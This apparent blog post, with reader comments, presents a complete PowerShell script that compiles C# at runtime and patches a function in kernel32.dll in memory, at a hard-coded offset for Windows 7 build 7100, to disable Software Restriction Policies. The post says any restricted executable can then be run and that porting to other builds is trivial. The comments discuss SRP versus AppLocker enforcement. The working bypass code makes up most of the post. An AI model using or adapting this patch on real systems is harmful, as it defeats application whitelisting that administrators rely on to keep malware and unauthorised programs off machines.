When discussing with a reader of mine, I mentioned that the same method (patching the local process) should be possible using PowerShell. And here is the code:
######################################################### # This is a general purpose routine that I put into a file called # LibraryCodeGen.msh and then dot-source when I need it. ######################################################### function Compile-Csharp ([string] $code, $FrameworkVersion="v2.0.50727", [Array]$References) { # # Get an instance of the CSharp code provider # $cp = new-object Microsoft.CSharp.CSharpCodeProvider # # Build up a compiler params object... $framework = Join-Path $env:windir "Microsoft.NETFramework$FrameWorkVersion" $refs = new-object Collections.ArrayList $refs.AddRange( @("${framework}System.dll", "${framework}system.windows.forms.dll", "${framework}System.data.dll", "${framework}System.Drawing.dll", "${framework}System.Xml.dll")) if ($references.Count -ge 1) { $refs.AddRange($References) } $cpar = New-Object System.CodeDom.Compiler.CompilerParameters $cpar.GenerateInMemory = $true $cpar.CompilerOptions = "-unsafe" $cpar.GenerateExecutable = $false $cpar.OutputAssembly = "custom" $cpar.ReferencedAssemblies.AddRange($refs) $cr = $cp.CompileAssemblyFromSource($cpar, $code) if ( $cr.Errors.Count) { $codeLines = $code.Split("`n"); foreach ($ce in $cr.Errors) { write-host "Error: $($codeLines[$($ce.Line - 1)])" $ce |out-default } Throw "INVALID DATA: Errors encountered while compiling code" } } ########################################################################### # Here I leverage one of my favorite features (here-strings) to define # the C# code I want to run. Remember - if you use single quotes - the # string is taken literally but if you use double-quotes, we'll do variable # expansion. This can be VERY useful. ########################################################################### $code = @' using System; using System.Runtime.InteropServices; namespace test { public class Testclass { public enum Protection { PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_GUARD = 0x100, PAGE_NOCACHE = 0x200, PAGE_WRITECOMBINE = 0x400 } [DllImport("kernel32.dll")] static extern bool VirtualProtect(uint lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern uint GetModuleHandle(string lpModuleName); public static void Patch() { uint addr = GetModuleHandle("kernel32.dll") + 0x55FD7; byte[] expected = new byte[] {0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x84, 0x02, 0x00, 0x00}; unsafe { byte* mem = (byte*)addr; for (int i = 0; i < expected.Length; ++i) { if (mem[i] != expected[i]) { System.Console.WriteLine("Expected bytes not found!"); return; } } uint oldProtect; VirtualProtect(addr, 11, (uint)Protection.PAGE_EXECUTE_WRITECOPY, out oldProtect); byte[] patch = new byte[] {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x0C, 0x00, 0x90, 0x90, 0x90}; for (int i = 0; i < patch.Length; ++i) mem[i] = patch[i]; VirtualProtect(addr, 11, oldProtect, out oldProtect); } } } } '@ ################################################################## # So now we compile the code and use .NET object access to run it. ################################################################## compile-CSharp $code [Test.TestClass]::Patch()
After executing this script, you can run any executable, even if it would have been restricted by the SRP. Some mentions:
- It is technically written in C#, which is dynamically compiled (the code to do it is taken from here, with a modification from here to allow compiling of unsafe code)
- The offsets and bytes are for Windows 7 build 7100, so it most probably won’t work with other versions of Windows (and it is possible that it won’t work with other builds), however it is trivial to port it to other versions
- Because Windows 7 (like Vista) changes the loading address at each reboot (ASLR), the actual patch address needs to be calculated relative to the base address of kernel32 (obtained via GetModuleHandle)
Picture taken from permanently scatterbrained’s photostream with permission.
4 responses to “Bypassing SRP from PowerShell”
Wow, so you made that real! Nice work! =) (Yes, I'm the same anonymous guy. I should think of a name to use. =D)
If that works in Windows 7, then I guess SRP still does not work in kernel mode in 7 and stays vulnerable to patching from user mode. The other day I read an article on Betanews [ http://www.betanews.com/article/Russinovich-rescues-the-TechEd-2009-keynote-with-Windows-7-AppLocker-demo/1242093669 ] about AppLocker in Windows 7 and it said "Think of it (AppLocker) as a firewall but at the kernel level." So I thought Windows 7 would have kernel level SRP/AppLocker but I guess not. Too bad! =(
Hmm, Russinovich is a smart guy with a very detailed knowledge of the Windows Kernel, so I should take a look at what he said. It is possible that AppLocker and SRP use two different mechanisms to enforce the policy.
Does Windows 7 Professional come with SRP support? Things I have read make it seem like only Ultimate comes with Applocker (I don't see how that is not a professional feature) but can you have SRP without Applocker?
According to the all knowning Wikipedia :-p, Windows 7 Professional comes indeed SRP, but not with AppLocker. AppLocker and SRP are two different technologies and they can work independent of each other.